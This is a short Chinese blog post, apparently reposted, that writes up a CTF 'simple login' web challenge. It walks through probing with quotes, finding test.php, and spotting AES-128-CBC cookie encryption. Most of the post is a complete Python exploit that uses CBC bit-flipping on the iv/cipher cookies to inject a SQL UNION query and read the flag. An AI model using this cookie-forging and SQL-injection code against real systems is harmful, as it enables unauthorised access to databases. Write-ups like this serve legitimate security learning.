简单的登录题

逃离我推掉我的手 2021-11-11 14:06 248阅读 0赞

先尝试1’，爆出

![1712230-20190715184948987-1617694565.png][]

1”，爆出

![1712230-20190715184955391-770013640.png][]

再使用抓包

![1712230-20190715184714269-1275971668.png][]

![1712230-20190715184754217-389329194.png][]

发现了一个test.php界面，进去看看

![1712230-20190715184805997-252705662.png][]

出现一堆代码，查看源码

![1712230-20190715184811776-430546587.png][]

看见网页源码

出现aes-128-cbc加密，百度一下发现是反转字节攻击

然后看看dalao们脚本，组成我们的payload-exp

写一个py文件![1712230-20190715185130826-1622488581.png][]

内容为

import requests,base64,urllib,math

def work():

url = 'http://ctf5.shiyanbar.com/web/jiandan/index.php'

payload = '0 union select 1,value,3 from you\_want limit 1\#'

\#payload = 'x'\*20

plaintext = 'a:1:\{s:2:"id";s:%d:"%s";\}'%(len(payload),payload)

badText = 'x'\*16

if len(plaintext)%16:

if len(plaintext)%16>3:

badText = 'x'\*(len(plaintext)%16-3)+'";\}'

elif len(plaintext)%16 == 3:

badText = '";\}'

elif len(plaintext)%16 == 1:

badText = '\}'

else:

badText = ';\}'

r = requests.post(url,data=\{'id':'x'\*len(payload)\})

sc = r.headers\['Set-Cookie'\].split(',')

iv = 'a'\*16

cipher = sc\[1\]\[sc\[1\].find('=')+1:\]

blockNum = len(cipher)/16

cipher = base64.b64decode(urllib.unquote(cipher))

blockNum = len(cipher)/16

cipherBlock = \[iv\]

cipherBlock += \[cipher\[16\*i:16\*(i+1)\] for i in xrange(blockNum)\]

plainBlock = \[plaintext\[16\*i:16\*(i+1)\] for i in xrange(blockNum)\]

for i in xrange(blockNum-1,-1,-1):

s1 = plainBlock\[i\]

s2 = cipherBlock\[i\]

tmp = ''

for j in xrange(len(s1)):

tmp += chr(ord(s1\[j\])^ord(badText\[j\])^ord(s2\[j\]))

cipherBlock\[i\]=tmp+s2\[len(tmp):\]

if i == 0:

iv = cipherBlock\[0\]

iv\_new = urllib.quote(base64.b64encode(iv))

cipher\_new = urllib.quote(base64.b64encode(''.join(cipherBlock\[1:\])))

headers=\{'Cookie':'iv=\{\};cipher=\{\}'.format(iv\_new,cipher\_new)\}

r = requests.get(url,headers=headers)

if i != 0:

tmp = r.text\[r.text.find('decode')+8:r.text.rfind("')")\]

badText = base64.b64decode(tmp)\[16\*(i-1):16\*i\]

else:

print r.text.encode('gb18030')

work()

然后cmd里运行一下得到flag

![1712230-20190715185145676-644680990.png][]

转载于:https://www.cnblogs.com/wosun/p/11190719.html

[1712230-20190715184948987-1617694565.png]: /images/20211109/9682c590760446c3917303a86b633a35.png
[1712230-20190715184955391-770013640.png]: /images/20211109/0d0d14be4cdd40aba7fac1bd64c73609.png
[1712230-20190715184714269-1275971668.png]: /images/20211109/92e4bb67a4714a618f1e6b69902e6ff2.png
[1712230-20190715184754217-389329194.png]: /images/20211109/2347b3a068794a599a3d62757572c8d4.png
[1712230-20190715184805997-252705662.png]: /images/20211109/f63dc4278a184829b3456cdce1fa0804.png
[1712230-20190715184811776-430546587.png]: /images/20211109/b14d70e37b9541a8bd4aba53710db792.png
[1712230-20190715185130826-1622488581.png]: /images/20211109/61a375f32fb44c80b875d9ffdc851ec2.png
[1712230-20190715185145676-644680990.png]: /images/20211109/2736dd4e186446378b20bc67d9ee8d04.png